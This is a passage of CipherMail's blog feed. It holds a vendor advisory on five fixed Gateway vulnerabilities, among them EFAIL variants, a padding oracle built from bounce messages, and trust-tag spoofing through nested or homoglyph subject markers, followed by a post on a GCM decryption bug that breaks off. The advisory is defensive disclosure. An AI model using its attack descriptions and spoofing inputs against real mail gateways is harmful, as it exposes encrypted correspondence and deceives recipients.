<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>CipherMail Email Encryption - blog</title><link href="https://www.ciphermail.com/" rel="alternate"/><link href="https://www.ciphermail.com/feeds/blog.atom.xml" rel="self"/><id>https://www.ciphermail.com/</id><updated>2026-06-08T00:00:00+02:00</updated><entry><title>Five vulnerabilities in CipherMail Gateway: EFAIL revisited, a bounce oracle, and trust-tag spoofing</title><link href="https://www.ciphermail.com/blog/ciphermail-efail-family-vulnerabilities-2026.html" rel="alternate"/><published>2026-06-08T00:00:00+02:00</published><updated>2026-06-08T00:00:00+02:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2026-06-08:/blog/ciphermail-efail-family-vulnerabilities-2026.html</id><summary type="html">&lt;p&gt;Background information on five vulnerabilities reported in CipherMail Gateway by the Applied Cryptography Group at ETH Zurich, including S/MIME and OpenPGP EFAIL variants, a decryption/padding oracle through bounce messages, a PGP signature-coverage spoof, and a subject-filter bypass — and how to configure the gateway to protect yourself.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="EFAIL" src="https://www.ciphermail.com/images/efail-logo.png" width="75px"&gt;&lt;/p&gt;
&lt;p&gt;We recently received a detailed report from the &lt;strong&gt;Applied Cryptography Research Group at ETH Zurich&lt;/strong&gt; describing several ways the CipherMail Gateway could be made to leak information about, or misrepresent the trust status of, the encrypted email it processes. While investigating their findings we identified a couple of closely related issues of our own. In total this resulted in &lt;strong&gt;five vulnerabilities&lt;/strong&gt;, all of which are fixed in CipherMail Gateway &lt;strong&gt;6.3.3&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;None of these are remote code execution or key-recovery bugs — the attacker never gets your private key. Instead they belong to a family of attacks that has haunted email encryption for years: the attacker abuses the &lt;em&gt;gateway's behaviour around decryption&lt;/em&gt; to either exfiltrate the plaintext indirectly, or to make an unprotected message look protected. &lt;/p&gt;
&lt;p&gt;It is also worth noting that most of these attacks require the attacker to already possess an encrypted message addressed to the victim — for example one intercepted in transit, or recovered from a mailbox or archive — which they then manipulate and resend to the gateway.&lt;/p&gt;
&lt;p&gt;This post explains each vulnerability, gives some real-world numbers for the most interesting one (a decryption oracle built entirely out of bounce messages), and ends with concrete steps you should take.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note.&lt;/strong&gt; CVE identifiers have been requested for all five issues and are pending assignment. This post will be updated with the CVE numbers once they have been assigned.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;A quick EFAIL refresher&lt;/h2&gt;
&lt;p&gt;A quick recap, for anyone who wasn’t reading vulnerability blogs in 2018: the  &lt;a href="https://efail.de"&gt;EFAIL attacks&lt;/a&gt; paper showed
that S/MIME and OpenPGP messages can be turned into exfiltration vehicles — not by breaking the
cryptography, but by reshaping the decrypted message so it tricks the recipient’s mail client (or a
downstream URL-scanning security product) into making an outbound HTTP request that carries
the decrypted plaintext along.&lt;/p&gt;
&lt;p&gt;This is the part of EFAIL that often gets misunderstood, so it’s worth stating clearly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;EFAIL is not exploitable by the gateway on its own&lt;/strong&gt;. Decrypting a message is
not in itself a disclosure. The decrypted message only becomes an exfiltration
channel when an external component acts on it — typically an HTML-rendering
mail client that auto-loads remote images, or a security product that follows or
rewrites URLs (Microsoft Defender for Office 365 Safe Links, Proofpoint URL
Defense, and similar).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the gateway sits in the middle. It can’t fix recipients' mail clients, and it can’t stop downstream
URL scanners from doing what they do. But it can refuse to deliver a decrypted message that has
the structural signs of having been reshaped by an EFAIL aacker. That is what the EFAIL filter
shipped in 6.3.3 does.&lt;/p&gt;
&lt;p&gt;If you have been with CipherMail for a while, you may remember an &lt;a href="https://www.ciphermail.com/blog/efail-detection-and-prevention.html"&gt;earlier EFAIL detection&lt;/a&gt; we
added back in 2018, controlled by the Check for invalid 7bit chars and Abort decrypt on invalid 7bit
chars options. Those options were &lt;strong&gt;opt-in&lt;/strong&gt; — they were off by default — and they only covered the
byte-level "non-readable characters in the decrypted output" signal. The new EFAIL filter
supersedes them. It has stronger detection, an additional sanitization tier, and it is &lt;strong&gt;enabled by
default&lt;/strong&gt;. The two old properties have been removed&lt;/p&gt;
&lt;p&gt;Three of the five issues below are EFAIL variants. The other two are about &lt;em&gt;trust&lt;/em&gt;: making an unprotected message appear signed or validated.&lt;/p&gt;
&lt;h2&gt;S/MIME CBC EFAIL&lt;/h2&gt;
&lt;p&gt;S/MIME messages encrypted with a CBC-mode cipher (AES-CBC, 3DES-CBC) carry no cryptographic integrity check. An attacker who obtains an encrypted S/MIME message (intercepted in transit, pulled from a mailbox or an archive) can tamper with the ciphertext so that, after the gateway decrypts it, the decrypted message has been &lt;em&gt;structurally reshaped&lt;/em&gt; — the victim's real plaintext ends up inside an attacker-defined HTML context. The gateway previously emitted the decrypted message as-is, with no defence against this manipulation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; CipherMail 6.3.3 introduces a two-tier &lt;code&gt;EFAILFilter&lt;/code&gt; that runs on every decrypted S/MIME message:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tier 1 — clean messages pass unmodified.&lt;/strong&gt; When no tampering signal fires, the message is delivered unchanged so legitimate mail and downstream URL scanners are unaffected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tier 2 — suspicious messages are sanitised.&lt;/strong&gt; When a tampering signal fires, every &lt;code&gt;text/html&lt;/code&gt; part is passed through a strict OWASP allowlist that strips external resource references (only &lt;code&gt;cid:&lt;/code&gt; images and &lt;code&gt;mailto:&lt;/code&gt; links survive), and every &lt;code&gt;http(s)://&lt;/code&gt; URL in &lt;code&gt;text/plain&lt;/code&gt; parts is neutralised.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Detection combines a structural 7-bit check (non-7-bit bytes where CBC-gadget garbage lands), a "first-block density" check (a body part whose first bytes are dominated by random-looking non-7-bit bytes), a MIME nesting-depth limit, and a missing-&lt;code&gt;Content-Type&lt;/code&gt; check. When sanitisation runs, the gateway records which checks fired in an audit header:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;X-CipherMail-EFAIL-Filter&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sanitized&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;checks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;structural-7bit,first-block-density&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The legacy, opt-in &lt;code&gt;smime-check-invalid-7bit-chars&lt;/code&gt; / &lt;code&gt;smime-abort-decryption-on-invalid-7bit-chars&lt;/code&gt; properties — which were &lt;em&gt;off&lt;/em&gt; by default, so out-of-the-box installations had no EFAIL defence at all — have been removed and superseded by &lt;code&gt;smime-efail-filter-enabled&lt;/code&gt;, which is &lt;strong&gt;enabled by default&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;OpenPGP EFAIL through spliced packet streams&lt;/h2&gt;
&lt;p&gt;A legitimate encrypted OpenPGP message is exactly &lt;em&gt;one&lt;/em&gt; message: a single literal data packet, reached through an optional encryption layer and an optional compression layer. But OpenPGP packet streams can be concatenated, and that is the opening. An attacker can build a stream that decrypts to more than one message, in two relevant shapes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Multiple literal data packets&lt;/strong&gt; — several OpenPGP messages glued together, so decryption yields the attacker's plaintext directly concatenated with the victim's.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A cleartext packet alongside an encrypted packet in the same layer.&lt;/strong&gt; The cleartext packet is attacker-controlled and is &lt;em&gt;not&lt;/em&gt; encrypted, so it carries &lt;strong&gt;no MDC&lt;/strong&gt;. Modification Detection Code enforcement therefore cannot catch it — the integrity check only covers the genuine encrypted packet — yet its output is still concatenated with the decrypted plaintext.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In both shapes the attacker ends up with a prefix or wrapper of their choosing fused to the victim's plaintext: an EFAIL exfiltration vehicle. Importantly, &lt;strong&gt;MDC does not save you&lt;/strong&gt; against shape 2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; After decryption, the gateway now walks the OpenPGP layer tree and &lt;strong&gt;refuses to emit a spliced result&lt;/strong&gt;. A legitimate layer holds exactly one content-producing packet (signatures are not counted, so ordinary signed-and-encrypted mail is unaffected). On a spliced shape the original ciphertext is delivered unchanged instead of the decrypted output, and the refusal is logged as the &lt;code&gt;pgp-spliced-packets&lt;/code&gt; check. The shared &lt;code&gt;EFAILFilter&lt;/code&gt; (HTML/URL sanitisation) is applied to decrypted PGP mail as well.&lt;/p&gt;
&lt;h2&gt;A decryption oracle built from bounce messages&lt;/h2&gt;
&lt;p&gt;This is the most interesting of the five, because it does not require the victim's mail client to do anything at all.&lt;/p&gt;
&lt;p&gt;When the gateway decrypts an incoming message and that message later &lt;strong&gt;bounces&lt;/strong&gt;, the bounce is addressed to the envelope sender (&lt;code&gt;MAIL FROM&lt;/code&gt;) — which, for attacker-supplied mail, is the attacker. Two distinct leaks follow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Plaintext disclosure.&lt;/strong&gt; A bounce traditionally quotes the failed message. After decryption, that quoted content is the &lt;em&gt;decrypted plaintext&lt;/em&gt;. A single bounce to an attacker-controlled sender can hand over the plaintext directly.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A decryption / padding oracle.&lt;/strong&gt; While processing an encrypted message the gateway adds headers such as &lt;code&gt;X-CipherMail-Info-SMIME-Encrypted: True&lt;/code&gt;. Whether (and how) these appear in a bounce tells the attacker whether a chosen-ciphertext message decrypted successfully. That single bit of feedback is exactly what a CBC padding-oracle attack needs.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What makes this hard to contain is that the bounce does not have to come from the gateway. A &lt;strong&gt;next-hop mail server&lt;/strong&gt; — the internal mail store, a downstream relay, a mailbox provider — can independently bounce the message on any delivery failure (unknown user, mailbox full, quota, policy rejection), and those bounces are outside the gateway's control. Limiting bounce size on the gateway's own Postfix instance therefore helps, but cannot be the whole fix.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;This is not a CipherMail-specific problem.&lt;/strong&gt; The bouncing of decrypted content is inherent to how email encryption gateways work: any gateway that decrypts inbound mail and then hands the plaintext onward sits in front of mail servers that can generate non-delivery reports back to the envelope sender. Unless the gateway takes explicit steps to control where those bounces go, the same plaintext-disclosure and decryption-oracle exposure applies to email encryption gateways in general — not just to CipherMail. We describe how we address it below, but operators of any encryption gateway should consider the same class of mitigation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Real-world numbers: how many bounces to decrypt a 1 MB message?&lt;/h3&gt;
&lt;p&gt;A CBC padding oracle recovers plaintext &lt;strong&gt;one byte at a time&lt;/strong&gt;. For each byte the attacker brute-forces the value that produces valid padding, which takes on average about &lt;strong&gt;128 oracle queries per byte&lt;/strong&gt; (2⁸ ⁄ 2), and at most 256. Here, each "oracle query" is one crafted message sent to the gateway that produces one bounce the attacker can observe.&lt;/p&gt;
&lt;p&gt;So the cost to recover plaintext scales linearly with its size:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Plaintext bytes&lt;/th&gt;
&lt;th style="text-align: right;"&gt;Bounce messages (average)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;One AES block&lt;/td&gt;
&lt;td style="text-align: right;"&gt;16&lt;/td&gt;
&lt;td style="text-align: right;"&gt;~2,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A short secret (e.g. a 64-byte line / password)&lt;/td&gt;
&lt;td style="text-align: right;"&gt;64&lt;/td&gt;
&lt;td style="text-align: right;"&gt;~8,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;A full 1 MB message&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;1,048,576&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: right;"&gt;&lt;strong&gt;~134,000,000&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;For a full 1 MB message that is roughly &lt;strong&gt;134 million bounce messages&lt;/strong&gt; on average (up to ~268 million worst case). Translated into wall-clock time, assuming the attacker can sustain a given injection rate:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Injection rate&lt;/th&gt;
&lt;th&gt;Time to recover 1 MB&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10 messages/second&lt;/td&gt;
&lt;td&gt;~155 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;100 messages/second&lt;/td&gt;
&lt;td&gt;~15.5 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1,000 messages/second&lt;/td&gt;
&lt;td&gt;~1.6 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br&gt;
That sounds like a lot — and it is — but the attack is &lt;em&gt;non-interactive&lt;/em&gt;
and time-flexible. Spread over several months at, say, 50 bounces per
second sustained, it finishes in about a month. The gateway operator
would, of course, see an enormous volume of bounces, so the attack is
loud. But "loud" is not the same as "infeasible", and against a target
worth months of attacker effort it is well within reach.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; CipherMail 6.3.3 closes the channel rather than trying to shrink it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Envelope-sender rewriting for encrypted mail.&lt;/strong&gt; The new &lt;code&gt;RewriteSenderIfEncrypted&lt;/code&gt; mailet rewrites the envelope sender of a message that arrived encrypted to a controlled internal address. Any later bounce — from the gateway &lt;em&gt;or&lt;/em&gt; a next-hop server — then goes to that controlled address instead of to the (possibly attacker-controlled) original sender. The original sender is preserved in an &lt;code&gt;X-CipherMail-Original-Sender&lt;/code&gt; header for audit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encryption is tracked independently of decryption success.&lt;/strong&gt; The &lt;code&gt;runtime.incoming.encrypted&lt;/code&gt; attribute is now set whenever a message is &lt;em&gt;detected&lt;/em&gt; as encrypted — including PGP messages the gateway could not decrypt (missing key, MDC failure). Previously a failed PGP decryption left the attribute unset, so the protection was skipped for exactly the chosen-ciphertext messages an oracle attack relies on.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bounce body suppression.&lt;/strong&gt; The gateway's Postfix configuration now sets &lt;code&gt;bounce_size_limit = 1&lt;/code&gt;, so bounces it generates itself contain only headers, not the message body.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The envelope-sender rewriting is the primary control, because it is the only one that also neutralises bounces produced by next-hop servers.&lt;/p&gt;
&lt;h2&gt;PGP/INLINE mixed-content spoof via duplicate detached signatures&lt;/h2&gt;
&lt;p&gt;This one is about &lt;em&gt;trust&lt;/em&gt;, not confidentiality. A PGP/INLINE message that combines a clear-signed body with multiple &lt;strong&gt;detached-signature attachments stacked over the same target file&lt;/strong&gt; could be delivered with the &lt;code&gt;Signed-Valid&lt;/code&gt; status set but the &lt;code&gt;X-CipherMail-Info-PGP-Mixed-Content&lt;/code&gt; marker — and its subject tag — &lt;strong&gt;omitted&lt;/strong&gt;, even though the message also carried sibling &lt;em&gt;unsigned&lt;/em&gt;, attacker-controlled parts.&lt;/p&gt;
&lt;p&gt;The cause was a non-idempotent integer counter: the mixed-content decision incremented for each unsigned handler and decremented for each detached signature whose target filename matched a sibling part. Two detached signatures resolving to the &lt;em&gt;same&lt;/em&gt; visible file decremented the counter twice for one part's worth of content, allowing an attacker to cancel out the contribution of a separate unsigned part such as &lt;code&gt;evil.txt&lt;/code&gt;. The attack requires the attacker's key to be in the gateway's trust store (i.e. they are a known correspondent) so that their signatures verify — but no private-key compromise.&lt;/p&gt;
&lt;p&gt;The danger is that a recipient, or a downstream rule/archive/DLP pipeline, that treats "signed-valid and not mixed-content" as "the whole message is signed by a trusted sender" would be misled into trusting attacker-controlled content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; The integer counter has been replaced with &lt;strong&gt;set-based coverage tracking&lt;/strong&gt;: a &lt;code&gt;Set&lt;/code&gt; of the distinct MIME parts actually covered by a valid signature, and a separate set of the signature attachments themselves. Adding the same part twice is now a no-op, so stacked detached signatures can no longer cancel anything out. The mixed-content decision becomes "are there any visible parts left over that no valid signature covers?"&lt;/p&gt;
&lt;h2&gt;Subject-filter bypass via nesting or Unicode homoglyphs&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;FilterSubject&lt;/code&gt; mailet lets administrators strip operator-defined markers (typically gateway-style security tags such as &lt;code&gt;[signed]&lt;/code&gt;, &lt;code&gt;[signed and valid]&lt;/code&gt;, &lt;code&gt;[decrypted]&lt;/code&gt;) from incoming subject lines, so that only the gateway's &lt;em&gt;own&lt;/em&gt; tags — added later, after real cryptographic validation — remain. It could be evaded two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Nesting.&lt;/strong&gt; A subject like &lt;code&gt;[sign[signed]ed]&lt;/code&gt; was filtered in a single regex pass: the inner &lt;code&gt;[signed]&lt;/code&gt; was removed, but the surrounding &lt;code&gt;[sign&lt;/code&gt; + &lt;code&gt;ed]&lt;/code&gt; re-formed a fresh &lt;code&gt;[signed]&lt;/code&gt; that the filter never revisited.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unicode homoglyphs.&lt;/strong&gt; A subject containing a Cyrillic &lt;code&gt;е&lt;/code&gt; (&lt;code&gt;U+0435&lt;/code&gt;) instead of Latin &lt;code&gt;e&lt;/code&gt; — &lt;code&gt;[signеd]&lt;/code&gt; — is visually identical but byte-different, so it bypassed the regex entirely.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The consequence is a subject-line spoof: an external attacker could deliver a message whose subject &lt;em&gt;displays&lt;/em&gt; a gateway-style trust marker (&lt;code&gt;[signed and valid] Re: Wire transfer&lt;/code&gt;) even though the gateway never added it, deceiving recipients and any downstream rule that keys off the subject string. There is no plaintext disclosure here; the impact is on the &lt;strong&gt;integrity&lt;/strong&gt; of the displayed trust status, which is why this is rated Medium.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix.&lt;/strong&gt; &lt;code&gt;FilterSubject&lt;/code&gt; now applies two complementary passes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fixed-point recursion&lt;/strong&gt; — the filter is re-applied until the subject stops getting shorter, which eliminates nested-marker bypasses while remaining safe against pathological replacement patterns that grow the string.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A confusable-aware pass&lt;/strong&gt; — after the standard regex runs, the filter is re-applied through a new &lt;code&gt;ConfusableAwareFilter&lt;/code&gt; that folds both the subject and the pattern through the ICU confusable-skeleton transformation, so Cyrillic/Greek/fullwidth look-alikes match their Latin counterparts. As a follow-up hardening we also drop invisible and bidirectional control characters (zero-width spaces/joiners, the BOM, the soft hyphen, and right-to-left overrides) before folding, closing the related trick of splicing an invisible character into a marker.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As always: &lt;strong&gt;subject tags are cosmetic.&lt;/strong&gt; The authoritative signal that a message was really signed or encrypted is the set of &lt;code&gt;X-CipherMail-Info-*&lt;/code&gt; headers, and any automated decision should be based on those, not on the subject string.&lt;/p&gt;
&lt;h2&gt;What you should do&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Upgrade to CipherMail Gateway 6.3.3 or later.&lt;/strong&gt; All five issues are fixed there, and the EFAIL filters and splice/coverage checks are enabled by default — no opt-in required.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Stop bounces of encrypted mail from reaching external senders.&lt;/strong&gt; This is the single most important configuration
step, and it is what closes the bounce oracle described above. Rewrite the envelope sender of an encrypted message to a controlled internal address.&lt;/p&gt;
&lt;p&gt;Enable it per recipient (at the global, domain or user level) by setting. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;From the CLI&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use the following properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rewrite-sender-if-encrypted&lt;/code&gt; → &lt;code&gt;true&lt;/code&gt; (default is &lt;code&gt;false&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sender-if-encrypted&lt;/code&gt; → the internal address that bounces of encrypted mail should be redirected to, e.g. &lt;code&gt;encrypted-bounces@example.com&lt;/code&gt;. This &lt;strong&gt;must&lt;/strong&gt; be set for rewriting to take effect.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br&gt;
&lt;strong&gt;From the UI&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;See the &lt;strong&gt;&lt;code&gt;Rewrite Sender If Encrypted&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;Sender If Encrypted&lt;/code&gt;&lt;/strong&gt; settings from the &lt;code&gt;General&lt;/code&gt; settings tab.&lt;/p&gt;
&lt;p&gt;With these in place, when a message that arrived encrypted later fails to deliver — whether the failure happens on the gateway or on a next-hop server beyond it — the bounce goes to your monitored internal mailbox instead of back to the original (possibly attacker-controlled) sender. The pre-rewrite sender is preserved in &lt;code&gt;X-CipherMail-Original-Sender&lt;/code&gt; so you can still see who the message claimed to be from. Point &lt;code&gt;sender-if-encrypted&lt;/code&gt; at a mailbox somebody actually watches, because that is now where delivery failures for encrypted mail will land.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Leave the EFAIL filters enabled.&lt;/strong&gt; &lt;code&gt;smime-efail-filter-enabled&lt;/code&gt; and &lt;code&gt;pgp-efail-filter-enabled&lt;/code&gt; are on by default. Only disable a filter for a recipient who you are certain is never exposed to an HTML-rendering client or a URL-following security scanner. If you previously relied on the old &lt;code&gt;smime-check-invalid-7bit-chars&lt;/code&gt; / &lt;code&gt;smime-abort-decryption-on-invalid-7bit-chars&lt;/code&gt; properties, remove them from your configuration — they have been replaced.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Use the subject filter to scrub spoofed trust tags.&lt;/strong&gt; For recipients where you care about this, set &lt;code&gt;subject-filter-enabled&lt;/code&gt; → &lt;code&gt;true&lt;/code&gt; and configure &lt;code&gt;subject-filter-regex&lt;/code&gt; to match the gateway-style tags you want removed. The same patterns that previously matched &lt;code&gt;[signed]&lt;/code&gt; now also catch &lt;code&gt;[sign[signed]ed]&lt;/code&gt; and the homoglyph/invisible-character variants automatically — no change to your existing regex is needed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Do not trust subject tags for automated decisions.&lt;/strong&gt; Anywhere you have a mail-client rule, archive policy or DLP/SOC pipeline that keys on subject-line trust markers, switch it to consume the &lt;code&gt;X-CipherMail-Info-*&lt;/code&gt; headers instead. Subject tags are best-effort cosmetics; the &lt;code&gt;X-CipherMail-Info-*&lt;/code&gt; headers are the authoritative record of what the gateway actually verified. Where a downstream rule consumes &lt;code&gt;X-CipherMail-Info-PGP-Signed-Valid&lt;/code&gt;, make sure it also requires the absence of &lt;code&gt;X-CipherMail-Info-PGP-Mixed-Content&lt;/code&gt; before treating &lt;em&gt;all&lt;/em&gt; parts of a PGP/INLINE message as covered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Prefer authenticated encryption where you can.&lt;/strong&gt; For newly sent S/MIME mail, prefer &lt;code&gt;AuthEnvelopedData&lt;/code&gt; (AES-GCM) over CBC modes — authenticated encryption rules out the ciphertext tampering at the heart of the S/MIME CBC EFAIL issue. Note this protects mail going forward only; already-existing CBC ciphertext stays malleable, which is why the receiving-side EFAIL filter remains necessary. For OpenPGP, keep MDC checking enabled — remembering that MDC alone does not stop the cleartext-splice shape, which is why the structural splice detection described above is also required.&lt;/p&gt;
&lt;p&gt;Customers with a support contract who would like help upgrading or applying this configuration are welcome to &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact us&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note on CipherMail Gateway version 5.&lt;/strong&gt; These fixes are not applied to version 5 of the CipherMail Gateway. Customers with a support contract who, for whatever reason, cannot upgrade are welcome to &lt;a href="https://www.ciphermail.com/contact.html"&gt;contact us&lt;/a&gt; to discuss further options.&lt;/p&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;We would like to thank &lt;strong&gt;Andris Suter-Dörig, Matteo Scarlata, and Prof. Kenny Paterson from the Applied Cryptography Research Group at ETH Zurich&lt;/strong&gt; for reporting these issues to us responsibly and for the detailed, constructive disclosure that made the fixes straightforward to design.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;EFAIL — &lt;em&gt;Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels&lt;/em&gt; (Poddebniak et al., USENIX Security 2018), &lt;a href="https://efail.de"&gt;https://efail.de&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Original EFAIL identifiers: CVE-2017-17688 (OpenPGP), CVE-2017-17689 (S/MIME)&lt;/li&gt;
&lt;li&gt;RFC 5751 — S/MIME 3.2 Message Specification&lt;/li&gt;
&lt;li&gt;RFC 4880 — OpenPGP Message Format&lt;/li&gt;
&lt;li&gt;Unicode Technical Standard #39 — Unicode Security Mechanisms (confusable detection), &lt;a href="https://www.unicode.org/reports/tr39/"&gt;https://www.unicode.org/reports/tr39/&lt;/a&gt;
&lt;/content&gt;
&lt;/invoke&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="blog"/></entry><entry><title>No Spam Proxy GCM Bug</title><link href="https://www.ciphermail.com/blog/nos-spam-proxy-gcm-bug.html" rel="alternate"/><published>2026-02-09T00:00:00+01:00</published><updated>2026-02-09T00:00:00+01:00</updated><author><name>Martijn Brinkers</name></author><id>tag:www.ciphermail.com,2026-02-09:/blog/nos-spam-proxy-gcm-bug.html</id><summary type="html">&lt;p&gt;When S/MIME GCM Goes Wrong: “mac check in GCM failed” with No Spam Proxy&lt;/p&gt;</summary><content type="html">&lt;h2&gt;When S/MIME GCM Goes Wrong: “mac check in GCM failed” with No Spam Proxy&lt;/h2&gt;
&lt;p&gt;We recently received two bug reports where a CipherMail Gateway was unable to decrypt an incoming S/MIME message. In
both cases the failure was caused by an integrity check error during decryption:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;javax.crypto.AEADBadTagException: mac check in GCM failed&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both messages originated from &lt;strong&gt;No Spam Proxy&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;The odd part: “Same email,” different outcome&lt;/h3&gt;
&lt;p&gt;The affected customer had just upgraded from &lt;strong&gt;CipherMail v5 to v6&lt;/strong&gt;. Before the upgrade, they had exchanged encrypted mail
with the same external sender without any issues.&lt;/p&gt;
&lt;p&gt;What made this case especially confusing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The customer received &lt;strong&gt;two separate emails with the same Message-ID&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;One was delivered to a &lt;strong&gt;To&lt;/strong&gt;: recipient, the other to a &lt;strong&gt;CC&lt;/strong&gt;: recipient&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;One message decrypted successfully&lt;/strong&gt;, while the other, apparently “the same” message, failed with the GCM MAC/checksum error&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why the error points to GCM&lt;/h3&gt;
&lt;p&gt;“mac check in GCM failed” typically means the authentication tag validation failed during AES-GCM decryption. In other words: the ciphertext’s integrity protection did not validate, so the decryptor correctly refuses to output plaintext.
Galois/Counter Mode (GCM) is widely used and well established, but &lt;strong&gt;its use in S/MIME is comparatively newer&lt;/strong&gt; than classic AES-CBC-based S/MIME encryption.&lt;/p&gt;
&lt;h3&gt;CipherMail v5 vs v6: the key difference&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CipherMail ≤ v5&lt;/strong&gt; did &lt;strong&gt;not&lt;/strong&gt; support S/MIME with AES-GCM by default (there was a patch, but it wasn’t part of the standard product build).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CipherMail v6&lt;/strong&gt; introduced &lt;strong&gt;full support for S/MIME GCM&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That matters because S/MIME messages can include (and clients/gateways often learn) &lt;strong&gt;capabilities&lt;/strong&gt;, i.e., which algorithms
a party supports. If a system learns that a recipient supports AES-GCM, it may prefer it over older modes like AES-CBC.&lt;/p&gt;
&lt;h3&gt;What likely happened: algorithm selection per recipient&lt;/h3&gt;
